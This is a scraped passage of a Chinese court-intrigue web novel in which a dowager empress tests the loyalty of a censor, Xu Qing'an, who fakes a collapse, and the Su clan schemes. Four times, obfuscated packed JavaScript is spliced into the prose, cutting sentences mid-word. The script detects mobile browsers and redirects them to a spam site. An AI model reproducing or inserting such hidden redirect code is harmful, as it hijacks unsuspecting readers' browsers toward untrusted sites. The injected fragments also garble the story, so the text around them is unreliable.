说到此处,徐卿安突然撩袍而跪,拱手诚心诚意道:“臣自春闱后就曾向娘娘表过心意,然时至今日,娘娘似乎仍不信臣,故臣今日剖肝沥胆,只求娘娘能够多垂信臣几分,让臣能于娘娘手中觅得几寸容身之地。” 一番倾心相诉后,上官栩面无波澜,只望着茶盏中的茶水,手指轻轻敲在盏壁上:“徐御史如此识得人心,若想大有作为选苏相公岂不是更好?” 她始终没有移眼看他,只望着那茶盏中若有若无的涟漪。 不过徐卿安上身立直,身姿依旧挺拔恭敬:“娘娘莫不是在玩笑臣?苏相公背后的势力如何,娘娘一清二楚。他势力发展至今,且不说有多少心腹,就光说苏氏子侄就有好几个在朝中任要职,臣若到他那儿去,何时能够出头?” 上官栩笑:“你这话说的,颇有几分宁为鸡头不为凤尾的感觉。” “娘娘才是凤。”徐卿安正色道,“臣效忠娘娘才是遵循礼法之举。” 上官栩一顿。 是啊,如今皇帝年幼,她以太后之尊代帝理政,可以说她代的其实是君权,纵而苏望权倾朝野,势力再大,究其根本,也不过只是相权浸盛,君权式微而已,但君在臣上,按理说君权相权,君权才是正统。 徐卿安埋下头,压住不受控地情绪。 是啊,明明她已是皇后,为什么、为什么她还要…… “其实按着你的想法想下去,你应该已经对逼死刘昌之人的身份有了猜测吧?”上官栩轻声道。 徐卿安依旧垂眼说着:“刘昌官至四品,能这样对他的,自是地位比他还要高的人,而他又是在台狱中出的事,那么那人的范围便更小了。” 上官栩:“如此说来你还真是送了我一份大礼,若是真能借此把那人抓出来,再以此对他背后的势力发难,到时莫说御史台,恐怕就是三公之位也保不住。” 徐卿安:“这确实是一种手段,然而若行此事,也需徐徐图之。” “娘娘如今在朝堂上的势力与另一位相比实在算不得占上风,甚至还可以说差了一大截,所以臣以为不可一下逼得紧了,否则引得他们鱼死网破反而是弄巧成拙。” 上官栩当然知道如今不能把苏望逼急了,她说那话也只是想试一试徐卿安,若他真有其它心思,那他或许刚才就应该顺着她的话让她借御史台的事直接向苏望下手。 不过如今他的想法倒和她是一样。 只是……怎么觉得他现在安静了许多,更感觉他周身蒙上了一层阴翳,雾蒙蒙的,似一下落寞了。 上官栩不禁问:“你怎么了?你还在想其它的事情?” 徐卿安终是抬起眼,如水洗过的双眸望来,眼底反着亮光:“娘娘为何这样问?” 上官栩瞥目:“没什么,只是看你似乎有些心不在焉的。” 徐卿安扯着嘴角笑了笑:“是啊,臣不是想着娘娘还没对臣的话表态嘛,臣紧张得很呐。” 他语气轻松,又是花言巧语起来,上官栩便知自己刚才想多了。 本就是没心没肺的人,有哪里会有什么可怜之处呢? 她复而冷声道:“徐御史才高识远,这段日子以身入局,又受了那么多的苦,我自然不能辜负了徐御史。” 听到“辜负”二字,徐卿安袖中的手慢慢攒紧,然脸上的笑意却愈盛,但也愈发僵硬。 而上官栩继续道:“至于你刚才说的……其实徐御史这样的才士,能选择为我谋事,也是我的幸事,我又怎么舍得杀你呢?” “起来吧,地上凉,徐御史也跪得够久了。”她莞尔露出一笑,然笑意似冬日的阳光,没有温度。 徐卿安便谢恩起身。 “能得娘娘此言,臣不胜……咳咳咳!” 话还没说完,徐卿安突然剧烈地咳起来,瞬间满脸涨红,骇得上官栩一跳。 然他还没完,他似失了力气,身形一个不稳,陡然半跪下去,随之而来的便是“噗嗤”一声,一口鲜血被喷在地上,脸色由红转白。 “你怎么了?!”上官栩离开座位,半蹲到他身旁扶住他,“你……” 一切毫无征兆,连反应的时间都没有。 徐卿安连跪地的力气都没有,脚下一松,跌靠在了上官栩中的怀中。 咳嗽之后他开始大口喘气,感觉他的一切动作都变得吃力:“药……药!” “在哪儿?”人命关天,上官栩也顾不上他失仪了。 徐卿安颤颤巍巍地举起手,指向书案后的物架:“那个匣子……药瓶在那个匣子里!” 上官栩将他扶到坐榻旁倚着,起身去到他所指的地方寻药。 然而她打开时才发现里面不止一个药瓶。 “是哪个颜色的?” 其中有两个瓷瓶,一个净白瓶,稍大些,瓶口由瓶盖盖之,一个朱红瓶,瓶口是用瓶塞塞住的。 “红色、红色的那个……”徐卿安痛苦地回答。 上官栩取了药瓶回来:“几粒?” 徐卿安喉中挤出一个“一”字。 她当着徐卿安的面将药丸倒出来帮他服下,又为他取了茶水。 终于,过了一会儿,徐卿安的呼吸慢慢缓了下来。 虽然他脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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脑中的声音重复不停,和他的执念不停抗争。 对啊,你怎么舍得…… 怎么舍得…… 呼吸愈发不稳,身姿轻晃。 又是一阵呛心的咳嗽。 他恍惚着,更痛苦着,连从院外慌忙奔来的荀阳向他说的话都像世间其他的杂音一般,过耳即忘—— “你几日不吃药就是为了今日在她面前吐血?你狱中一趟本就不易,才养好的身子……” 声音戛然而止,荀阳把着他的脉,面露震愕:“你刚才吃的什么?吃的什么!那不是缓毒丹!你疯了?!” 荀阳歇斯底里,声音终是被捕捉。 “噗……” 伴随着一声闷闷地噗吐声,一汪鲜血从徐卿安嘴中泻出。 他无力地向后仰倒,头望着廊顶。 双目失神,脑中仍是重复着: 你怎么舍得…… 16. 第 16 章 安和七年,庄帝立六皇子景知为太子,授宰相上官适太子太傅衔,以老师之名辅佐太子。 庄帝晚年时身体不好,在培养太子的许多事情都心有余而力不足,身为宰相的上官适也是事务繁多,难常抽身去东宫讲学,庄帝与上官适是少时好友,更是对其多加信任,他欲教太子尊师重道,便让太子常去上官府中执经问难。 而年幼的周景知好学好问,每每去时都要呆上好几个时辰,直到所有问题完全得到解惑才肯离去,上官府便也为他置了间书房。 那日,他向上官适请教了昨夜他于东宫中自学时所留下的疑问,而后他就独自在书房中开始对当日所问进行查漏补缺。 日光熹微,暖光洒入房内,少年端坐在书案前,捧卷细读,他年纪不大,然举手投足间皆是隽秀文雅,锦衣金冠,风姿特秀,如玉如竹。 一位少女在门口悄悄探出头,望向了屋内。 察觉到门口光影的变动,周景知抬起脸,见女郎美好,眼波灵动,正望着他。 “你就是太子殿下么?”见屋中的人望来,小娘子开了口,虽声音娇嫩,但并不怯懦,目光中更多的亦是好奇。 周景知抿唇,轻轻点头,亲和道:“你是阿栩妹妹么?” 不过六岁的上官栩歪了歪头,闻言有些意外:“太子殿下见过我?” 周景知微笑地摇摇头:“听人说过,老师家中有一儿一女,而前几日和大郎君研学时,他也曾提到了阿栩妹妹,想来便猜了猜。” 说着他又笑了笑,很是知礼温润的:“只是没想到,我来这几日,今日才得与阿栩妹妹相见。” 他的声音很温柔,也有许多人叫她阿栩妹妹,可是那种感觉,他带来的似乎与他们的都不太一样。 上官栩咬唇,眼珠思忖地转了一圈道:“前几日我和阿娘去净明寺了,今日才回的家。” 尽管眼前的这位太子殿下看起来很温柔,但是却不知道他真实秉性如何,上官栩便觉得她还是应该先解释一下她前几日没有来拜见他的原因,否则若他以为她是刻意怠慢他,对他不敬,恐会连累到家里。 “哦……”周景知认真地点点头,他其实并没有想到过她担心的那个问题,不过是礼貌地做了回应。 而比起她想的,他现下考虑更多的,是见女郎还歪着身子探头看他,期间交谈时也不变动作,便担心她是否会因这样的姿势而感到不适,进而关切道:“阿栩妹妹这样站着可是不便?不如进屋坐会儿,一起看会儿书?” ……上官栩转身走了。 她不想看书,她才回府中,她想趁课业没来之前先去玩个够。 所以那话之后,她离开得干脆。 而房中,徒留座上少年持着书卷错愕惘然,不知刚才是哪里说错了话。 …… 十余个春秋一晃而过,每每忆起初见时光,上官栩唇角都不禁挂上笑意,然而那一瞬之后又是无比的遗憾—— 斯人已去,故地难游。 早知如此,当初何不应他的话,留下与他一起看看书?哪怕其间静谧无声,可能相伴着也总是好的。 上官栩鼻尖酸楚,眼前又起了雾。 青禾领了太医进来,人影攒动,上官栩收回了心绪。 上官栩身侧的小几上放了一个小盘,其中间盛了一个似药丸的东西—— 这是之前她在帮徐卿安拿药瓶时,背着他倒出来的。 其实另一个瓶子里的药物她本也想带走一点,然而她打开时却发现里面是用于外敷的药膏,这才回想起那应是当时上元夜落水她扇了他一巴掌之后让青禾送给他的去肿药。 上官栩对太医道:“劳请太医帮我看看,这药丸是用来治什么病的?” 太医领命。 药丸成分并不复杂,太医又是行医多年的老大夫,不过一会儿后便有了答案。 太医将药丸放下后重新站好,拱手道:“回娘娘,这药是人参丹,乃大补之物,常用于补续心血,吊续寿命。” “吊续寿命?”上官栩前两个字咬得很重,似对这样的作用有些意外,便又问,“若是寻常人吃了会如何呢?” 太医蹙了蹙眉:“这药药性极强,说是人参丹,但其实也只是以人参为主,其中还加了其他大补之物,若是寻常人吃了这样的药物很快就会出现不适,其中鼻衄脸热最是明显。” 上官栩回想起徐卿安那日吃下药之后的反应—— 他服药之后其实缓了一阵,虽之后面色依旧不虞,但是相较于他服药之前的状态确实好了很多,有明显的回转之意,而且他们中间还说了一会儿话,但也始终没有出现太医说的“鼻衄脸热”的情况。 吊续寿命……如此说来,倒真是有重疾的表现。 可他在她面前失态至此,狼狈至此,莫非是真的如他之前所说的那样,是一时失策忘了将药带去狱中?还是这又是他交给她的“把柄”? 上官栩目光凝于那颗药丸之上。 她的确想用他,御史台之事让她见识了他的能力,他的确能帮她做很多事。 然而也正因此,她发现他的心思实在太深,太狠,包括对她的许多诚意也都来得太过轻易,她信不过他,更没有把握能拿住他。 —— 苏家这边也并不安宁。 苏然独自跪在苏望的书房中,等候苏望在前厅与人处理完事之后回来。 前厅内,苏望将事情吩咐下去后坐下饮了口茶,正准备歇一歇时下人便来提醒道,五郎君还跪在书房中。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715884|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 苏望这才想起来,起身往书房去。 “你可知你这次错在何处?” 哪怕屋中无人,苏然也跪得笔直,等到苏望的声音在后响起时,他心中一凛,又立马垂眸认错道:“侄儿不该擅自行动,以至疏忽轻敌,让御史台局势被动。” 苏望深呼一口气,慢步到上首位置处坐下。 他道:“你不止错在擅自行动,还错在行动。” “我在最初时就与你说过,刘昌的事没必要管,你为何就听不进我说的话呢?” 苏然拱手:“侄儿只是担心……” “你只是担心他之前所为的事被查出来!”苏望忿忿打断道,“所以你就一直在暗中关注着他的审讯情况,直到有一天他真的告诉了你,那位徐御史查到了他四年前的事,然后你就慌了?全然不管他话里几分真假,也不管这事一旦被人察觉之后到底有多严重?” “愚蠢!” 苏望压着怒气:“当年之事,你一清二楚!刘昌所为不过皮毛,他若真的那么重要,岂能让他安然至今,等着别人来杀?” “就算这次他真的被查出来又如何?左不过就是给他自己再加了一个构陷官长的罪名,与你有何干?” 苏望质问:“难道他真在狱中对你说,这事已经查到你身上,你和他快要一起完蛋了?” “没有,是侄儿慌神了。”苏然轻声,头垂得很低,“侄儿也是之后回想起来才觉不对,刘昌那人一向贪生怕死,许是见侄儿去见他便想破釜沉舟,看能不能以此求得个活路。是侄儿一时恍惚了。” 苏望瞧他一眼,似叹似惋惜,放缓语气道:“你这一慌神,不仅御史台乱了,就连工部也跟着生变了。” 苏然诧异抬头。 近几日因御史台的事,他并未上朝,也就不知朝中到底发生了什么。 苏望凝眸沉声道:“今日小朝上,太后与三省共同商议,因工部刘昌之事,整个工部都要彻查,所有升调全部暂停。” “虽然余下的那个侍郎我更为看好,且如今工部不升调,侍郎又只有一个,他也当是工部之首,可是哪怕只一步之遥,侍郎也只是侍郎,你说这到底是好事还是坏事?” 苏然察觉到了什么,问道:“没有尚书,又只有一个侍郎,那工部四司之事岂不是只由一人来统管?可工部事务烦杂,一人又如何能管得下?” “是啊。”苏然垂眸,再抬眼时眼神幽幽,意味深长,“所以就需三省介入了嘛。” 工部之权分入三省。 苏望轻笑了笑:“宫里的那位娘娘啊,不是当初的小女郎了。” 他望向苏然,语重心长道:“五郎啊,你也要改变一些想法才是,不要行差踏错,像你四哥那样,让人遗憾惋惜。” 17. 第 17 章 苏然离开了苏望的书房,明明并未受到什么责罚,他却神色恍惚凝重,脑中的一些东西一直想不透,被缠着,只觉昏沉、混乱,脚下步子沉重。 他是苏望二哥的儿子,苏家儿郎中,唯与苏四郎是同父母兄弟。 然而他的亲兄长却死于自己叔父的逼迫下。 可他并不责怪他的叔父,虽然他也跪地向苏望乞求过,只求再给他哥哥一个机会,然而真当最后结果下来时,他也只当是他的叔父坚守他的道,一切都是为了苏家门楣,为了秉承大伯的遗志。 他幼时最崇敬的人,是他的大伯父苏瑜,也是时人所称的玉华公。 可是玉华公高华,他每日不仅有政事缠身,还要应对各地其他名士前来的拜访,所以他自小便跟着他的三叔父苏望读书学道。 三叔父承继大伯遗志,同样是他敬重的人。 苏望教他读圣贤书,学圣贤道,也多次赞赏他,说他是他所教授的学生中,学的最好的那一个,故而也对他寄予厚望。 他很感恩。 然而苏望也常叹,他们这辈年轻人到底是只成长在平和的生活中,对书中所说的“变革”、“流血”的理解都只停于纸面之上,所以真当那些”殇”、“痛”、“血”横亘在了自身面前时都一时难以接受。 “可是有些事情做了便是做了,你初时选择做,就是因为你的选择更符合你心中的道,你无需之后再纠结什么。” “诚然一些事情,你会觉得亏欠了一些人,但你也应清楚,所谓“革新”、“破立”都要先落于第一个字,而那一个字往往就代表着——牺牲。” 牺牲…… 苏望曾说,世间之事若为大局,人人万物皆可牺牲。 苏然接受苏望的道,奉行苏望的道,然而或许真如苏望所说,因为对一些东西的理解只停于纸面未曾切身体会过,所以当他真正面对时,内心深处便始终无法将其完全接受。 所以他在那夜见到刘昌时慌了神。 刘昌哭着求他救命,说当下唯有他苏中丞能救他了,刘昌说他知道苏公不会出手救他,苏公连自己的亲侄儿都不赦免,更何况他一个外人呢。 这话苏然听进去了。 他想起了自己的四哥。 这些年来,他深受苏望器重,帮苏望行了不少事,许多他叔父不方便出面的事都由他来做,他敬重苏望,追随苏望,可是他始终无法完全消化苏望所说的道。 也就是说,他意识深处觉得有些事是错的,是不能容人窥见的。 例如刘昌四年前所为之事。 那事由他出面主导,若是任人查下去,查到了他的身上,那世人知晓他行过那样的错事之后,他的叔父可会救他?还是说会让他像他四哥那样,被迫给世人一个交代? 所以,苏然要趁早杀了刘昌,最好也杀了所有可能查到那些往事的人。 可惜他大意了,不仅没有成功,还将御史台和工部也搭了进去。 许多事情哪怕他意识深处真过不去,但只要他不想不念便总能将那些不安压下,可是竟就在那时被刘昌的一句话挑起来了。 夜间时分,是人最脆弱的时候,这是每个刑讯之人都知道的事,在御史台任职多年的苏然却偏偏在那时栽了跟头。 苏然想起这些兀自心烦,悔恨又懊恼,只觉自己做了蠢事。 他叫了随侍的人过来,安排道:“去将行装收拾好,我要去净明寺住段时日。” —— 这段日子,上官栩不仅在御史台和工部上下了文章,还对徐卿安有了新的安排。 徐卿安自去岁为官开始,协理礼部案,主持上元祈福,又找出了致使游船漏水的真凶,期间更是还救下了落水的太后,几功毕一自是要大为封赏的。 再加上台狱一遭,又委实冤枉了他,都听说他身体不好,又因受了皮肉之苦,从台狱出来后就直接呆在府中卧床养病了,听说一连几日,连房门都没出。 如此,恩赏和补偿便都要有。 果然,升调诏书下来,他从御史台去了刑部任员外郎,官阶一下从正八品下跃迁到了从六品上。 而上官栎曾为刑部侍郎,这次升调自然便有上官栩的手笔。 徐卿安倚着坐榻上的木几靠坐着,升调诏书的一端捏在手中,从案几上垂下铺陈到了腿上。 徐卿安用指腹摩挲着诏书末尾的玺印。 “别看了,先把药喝了。” 荀阳的声音在旁响起,徐卿安刚一侧头,就见到一碗泛着缕缕雾丝的药,苦味直入肺腑。 徐卿安眉头不禁一皱。 荀阳见状丝毫不容情道:“皱什么眉,还不是你自找的。” “你体内之毒本就性寒,几日不吃缓毒丹也就罢了,你还偏偏要去吃人参丹那样的至阳之物,两者相抗,好不容易调养好的身子又白搭了。” 荀阳嘶一声:“你这样折腾一遭到底为的是什么啊?” 便是不算生死一遭,但其中身体泛起痛苦也够得人受得,他着实想不明白。 徐卿安接过药碗,轻晃了晃,把里面的热气散开,又吹了吹,淡声说道:“我若不这样,她不会相信我体弱至此,但我也不能在她面前服用缓毒丹,否则若让她拿了回去给宫里的太医看,她不就知道我中的是什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715885|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么毒了吗?” “我身上的毒须大夫诊过,是特制而成,那毒既还残留在我体内,就不能让她瞧出什么端倪。” “你是不是还放不下她?”荀阳不管他说的那些话,只突然问道。 徐卿安动作一顿。 荀阳轻叹:“我诊了你的脉,你吐血纵然有没及时服用缓毒丹的原因,但更多的是气急攻心。”他探究的眼神向座榻上的人投去,“当时在房间的就只有你们两个,可是她对你说了什么?” 徐卿安将唇贴近碗口,语气淡淡:“没说什么。” 他仰头,将药一饮而尽,又被苦得闭紧眼,缓了许久才重新睁开。 许是药实在太苦,他长睫微湿,呼吸也比刚才明显。 药碗被放置在旁,轻碰一声,便再无其他声音。 荀阳知他不肯多答,立直身子挑眉道:“我跟你的那些旧部可不一样,在我眼里,你就只是我的病人,按道理来说,你想治病,你就得听我的,而像我们大夫,最怕遇到的一类病人,就是隐瞒病情不报的,甚至谎报的。” “当初我师父同意你不将毒拔净就下山,也是因为你向他保证过,你此番而来只为给故人洗刷冤屈,让为恶之人得到报应,可不是像现在这样来这里伤身的。” “如今我师父才启程回山为你准备下次拔毒的药物,你最应做的就是调养好自己的身体,以应对下次拔毒,而不是像前几日那样乱来。” 荀阳说得语重心长,徐卿安终是抬眸来看他。 荀阳便趁机再道:“有些答案,你三年前便知晓了,为何现在还过不去?还看不透?物是人非,变的不只是你,也包括你记忆中的……她。” 是啊,物是人非,他被迫在炼狱中走了一遭,如今一步步挣出来,面目全非,他尚且都弃了那些君子之道,又更何况如今风光正盛、居于明堂之上的她呢。 每每遥望她时,她眼中的笑,他都是看不透的。 徐卿安闭上眼。 荀阳不由得轻声:“莫非真的放不下?” 徐卿安复而睁开眼看他,眸光轻闪,终于开了口:“不必担心,我所为皆有我的计划,我有分寸。” 荀阳:“……” “行。”他良久憋出一个字,又将一个天蓝色的小瓷瓶放到了木几上,“缓毒丹给你还回来了,后面记得吃。” 徐卿安轻嗯。 而待荀阳离开后,他又摩挲着那封诏书出神。 何时才能信任我啊? 可也要尝一尝被至爱至信之人背叛的滋味? 然而时至如今,你竟都已经失去了信任人的能力了么? 18. 第 18 章 净明寺是长安城中最著名、香火最旺的寺院,长安三大道场就在其中,是诸多达官贵人都喜欢选择的为家人祈福诵经的地方。 刘昌说他在此处为先前工部的几位大人点了长明灯,又恰逢近几日长安多雨,外出的人减少,徐卿安便挑了个人少的日子来了净明寺看一看。 净明寺香火旺,按理说每日香客就多,可近几日下雨,礼佛的人自然也会少一些,然而徐卿安刚入净明寺,便觉人数相较往日不少反增,再一细看,更是察觉到这其中有些人不像是来烧香礼佛的,反而举手投足间更像是领着任务的行伍之人。 果然在他拜完灵牌,准备往寺庙后院拜访时被僧人拦了下来—— “本寺今日后院并不开放,还请施主止步。” —— 同时间,上官栩在后院内的一间佛殿内将抄好的经书捧交给住持方丈。 上官栩恭敬道:“有劳密因大师了。” 密因双手接过经书:“娘娘每年都会亲至净明寺抄经颂佛,一坐就是一整日,此般虔诚,佛祖定能感应,护佑娘娘心中所念之人。” 上官栩浅笑道:“家母在世时就常来寺中礼佛,她说净明寺的师父们都是善知识,与师父们相谈,总能让她心中浮躁散去,心静神定,是而家母故去后,我也就想着多来寺里为她抄经祈福,也算是与她心魂相通了。” “只是可惜,如今身份不便,并不能常来。”上官栩蓦地垂眸叹道。 密因温言:“佛言‘心平何劳持戒?[1]’,礼佛形式次数不在多寡,只在一念真心,娘娘如今有心,就已足够了。况娘娘每次来时,都不禁他人谒佛祝祷,只自隐一隅,不夺他人佛香,便已是功德了。” 上官栩笑叹:“大师这样说真是折煞我了,我虽微服前来,但每每来此都要请寺中师父们清闭后院,实觉愧疚。” 密因宽慰道:“后院多僧舍,又因是藏经阁所在,寻常香客本就不常至,娘娘不必忧心。” 上官栩笑了笑,不再多言。 —— 按照上官栩以往的习惯,抄经结束之后,她还会至前院的大雄宝殿拜一拜,她其实并不信佛,但却觉得那是一个能诉心绪之处。 大雄宝殿内,所有人拜佛像,祈己愿,是真心最为浓烈的地方,所有人都只念心中所想,没有谎言,没有欺骗,或许就如她刚才所说的,那儿便是最适合和故人说话的地方吧。 然这次她刚去到通往前院的小门时却了一个熟悉的人。 那人也一眼看见了她,微露诧异。 徐卿安刚和僧人说完话准备离去,就见上官栩衣着简约,款款而来。 他神情稍滞一下,便立马拱手行了个浅礼:“贵人竟也在此处。” 难怪入寺时有诸多着便装的行伍之人。 上官栩来净明寺是每年都会安排的行程,为母诵经,是孝善之举,朝廷官员知道自然也不会多说什么。 只是上官栩说不想因她出行而影响百姓礼佛,都是微服前来,但也难推脱朝官请奏,也因此多带了禁军作便装相护,同时也将后院清闭出来。 上官栩见徐卿安没有唤她娘娘而改唤为贵人,便知他明白她今日是微服而来。 她走到门前位置,期间一路将他上下打量一番,微微扬笑道:“好巧。徐大人这是病好了来礼佛?” 徐卿安含笑回道:“烦劳贵人关切,身子是好些了,此前听闻净明寺是长安名寺,而在下来长安这么久也没来拜访过,便想着趁今日雨天人少到这里来走走,也正好请佛祖多多保佑在下的身体。” 说着他笑了笑:“难怪刚才入寺时发现今日仍是香客诸多,且多有不凡,原来是因贵人在这里。” 上官栩眼眸微觑一下,似惊奇道:“徐大人当真眼慧,纵是香客有什么不同也能看出来。” 徐卿安也并不谦虚:“在下之前在御史台任职,御史嘛,做的不就是那些挑人错处的差事吗?若不眼尖些又如何能将差事做好呢?” 上官栩点点头,眉露思忖,虽不见得多有诚意,但对他说的理当真是没忍住笑了笑:“我刚才倒是说漏了,徐大人不仅眼慧,还能说会道,当真是双元之才啊。” 徐卿安这下礼数十足:“贵人谬赞了。” 他应是还想说什么,但上官栩却抢先说了打发的话,她只说净明寺不仅道场出名,就是寺院风光也好,让他可以在此多逛一逛,也算久病卧床之后的活动,能对身体有所助益。 如此说完,徐卿安便也明白了她的意思,遂而识趣地拱手请退了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715886|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —— 上官栩独自在大雄宝殿内呆了有一阵儿,等心中所想都倾诉完后,她才慢慢起身。 青禾过来将她扶起,见她神色恹恹,心中纠结了一阵,才问:“听方丈说,今日后山人少,娘娘今日要去么?” 上官栩轻嗯一声,依旧没抬眼:“既是人少那便去吧。” 青禾颔首,心中不是滋味。 净明寺修建之初就是在长安城中的一片高地上,后来修建时挖出的多方土石便被集中到了一处,再予以修饰,进而有了净明寺后山。 净明寺不止是上官栩母亲喜爱来的地方,也是上官栩和他一起来过的地方。 刚才在大雄宝殿中的一番倾诉又不免伤情,故而问到上官栩是否要去后山时,青禾才踟蹰了一会儿。 只是后山风景秀丽,寻常时间的游人甚至有不少不为礼佛,而是只为登后山而来,遣民封山实扰民乐,上官栩实不愿行此举,所以她以往纵是想去,也都会选择不去。 不过今日人少,带几个人随身就够了,更不必行封山之举,倒也方便许多。 长安城里多平地,如净明寺后山这样的高度就能俯瞰到很远的距离。 少时,他们曾来过一次。 他先是一朝太子,后又是一国主君,能出宫的机会本就不多,就是偶尔出来也多是因国有大典需要他主持,那时他身上更多的是责任,而不是只相伴于她身侧的郎君。 如此想来,其实他留给她的可供追忆的故地并不多。 长安这几日下了雨,林间清幽,山石板路上还残留着雨水浸润的痕迹。如此环境,倒适合林间独步。 而雨后阴日,最是多愁绪时,上官栩便干脆止了随侍,独自登山。 净明寺后山步道宽敞,就连山中歇脚的地方也多,而上官栩刚从山地往上,拐过一个山弯,就见一间亭子下,坐了一个人。 徐卿安袖口微坠,长指白腕皆露于外,支手抚着一丛花叶,恰若琼树临风,自成画卷。 而今日山间人少,便是周围只要路过一个人,徐卿安都能察觉。 他亦转头望去。 刹那间,时间静默,山风携露而过。 徐卿安袖袍微扬,上官栩裙摆如飞,二人对视,皆有惊色,亦双双无言。 19. 第 19 章 两人间的对视,还是徐卿安先回过神,他徐徐起身,拱手行礼道:“参见太后娘娘。” 如今周围无旁人,徐卿安便唤回了她的身份。 而他姿态恭敬,脸上也没有往常那般的半分浮笑。 可哪怕他这般与寻常不同的正经,上官栩眼中也依旧警惕:“今日真是巧啊,又和徐大人见面了。” 徐卿安这才带上笑:“早就听闻净明寺后山上树木成林,若步行其间,当幽幽别有一番风味,今日得见,果然如此。” 上官栩依旧凝眸不语。 徐卿安便挑了挑眉,低笑一声,答了她心中的疑惑道:“不是娘娘告诉臣,净明寺不仅道场厉害,就是风光也好么?娘娘建议臣在外多逛一逛,以此养身,臣自然是要听从的啊。” “是么?”可上官栩反问,并不信他的话。 徐卿安无奈叹一口气,似受不住这样的审视,只得用承认的语气道:“果然什么事情都瞒不过娘娘,其实臣来此处就是想试一试运气,看能否碰上娘娘,同娘娘行一段路。” 哪有什么刻意为之,不过路行此处,想起以往诸多种种,一时难以离去罢了。 然而这唯一一次毫无谋算的相遇,他却偏用虚辞饰之,偏偏给它加上了一层算计的意味。 但这不仅是她想听的,也是他需要自己亲口说出来的。 那些往事,他本就不该沉溺。 徐卿安不觉压着苦意笑了笑:“都说佛讲心诚,看来臣今日的诚意到了,果然就在这佛门之地得偿所愿了。只是不知娘娘想法如何?可能容臣相伴左右,予臣这份荣幸?” 上官栩迎上他含笑的双眸。 以往,她游此处时总是有故人相伴,赏万物风景,然今时不同往日,她每每路过故地,所想更多的都只是重游二字,不与人作陪,不与人相叙,只独自追忆。 可若真要有人相伴,他……也不是不行。 纵是许多方面都大相径庭,然天地旷渺,世间万物本就难寻肖似者,如今能有十之一二……确也难得。 确也足够。 —— 登山的路上,二人都没有说话,各怀心事。 徐卿安身位稍后一点,在行进间便能更好地观察到上官栩的神态和动作。 如今已经走到山脚往上的第二个歇脚的平台,他已渐渐从往事中回过神,只觉二人不能再这样相处下去,否则容易让她发现什么端倪。 而他刚要开口时,上官栩便蓦地停下,转身冷冷看向他,突然问道:“徐大人今日在此等候,到底是想与我说什么?” 在徐卿安回神的同时,上官栩也已在那自欺欺人的陪伴中感受够了,遂当下,她问得直接,打破二人之间一切不真实的氛围。 而徐卿安抬眸与她相望,双手相握,垂在身前,脸上依旧微微带笑。 但是他含笑望她,她却并不回应,只眸光幽幽,静静地等着他的回答。 他便拱手恭敬道:“臣今日在此等候,不是想与娘娘说什么,而是想听娘娘给臣的答案。” 他说回往事提醒道:“数日前,娘娘驾临臣的宅邸,臣曾向娘娘表过忠心,只是到最后,娘娘似乎也没有给臣一个明确的答复。” “没有么?”上官栩颇具玩味地笑一下,“我记得我应该对你的话表过态吧。” 徐卿安道:“娘娘是说了不舍得杀臣,不会辜负臣之类的话。” 他抬眸,面露委屈道:“可是娘娘,臣若无罪,您本就无由杀臣,而臣若有功,就是娘娘不赏,中书省和吏部也总会依例对臣论功行赏,如此,娘娘说的那话实在让臣没底。” 他眸色卑微,一步一步向她靠近:“我以真心待娘娘,将毕生软肋和所有见不得光的过往全都交到了娘娘手里,难道还换不回娘娘的一句真心话吗?” 他语气虽缱绻,姿态也放得很低,但这样的情形下距离的缩短,却更似循序引诱般,在逼着她回答。 可上官栩却立在原地,一眼不眨,任他靠近,任他周身气息将她笼罩。 直到他停在她身前,她才微微一笑,将诸事直接挑明道:“真心待我么?什么都交到我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715887|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 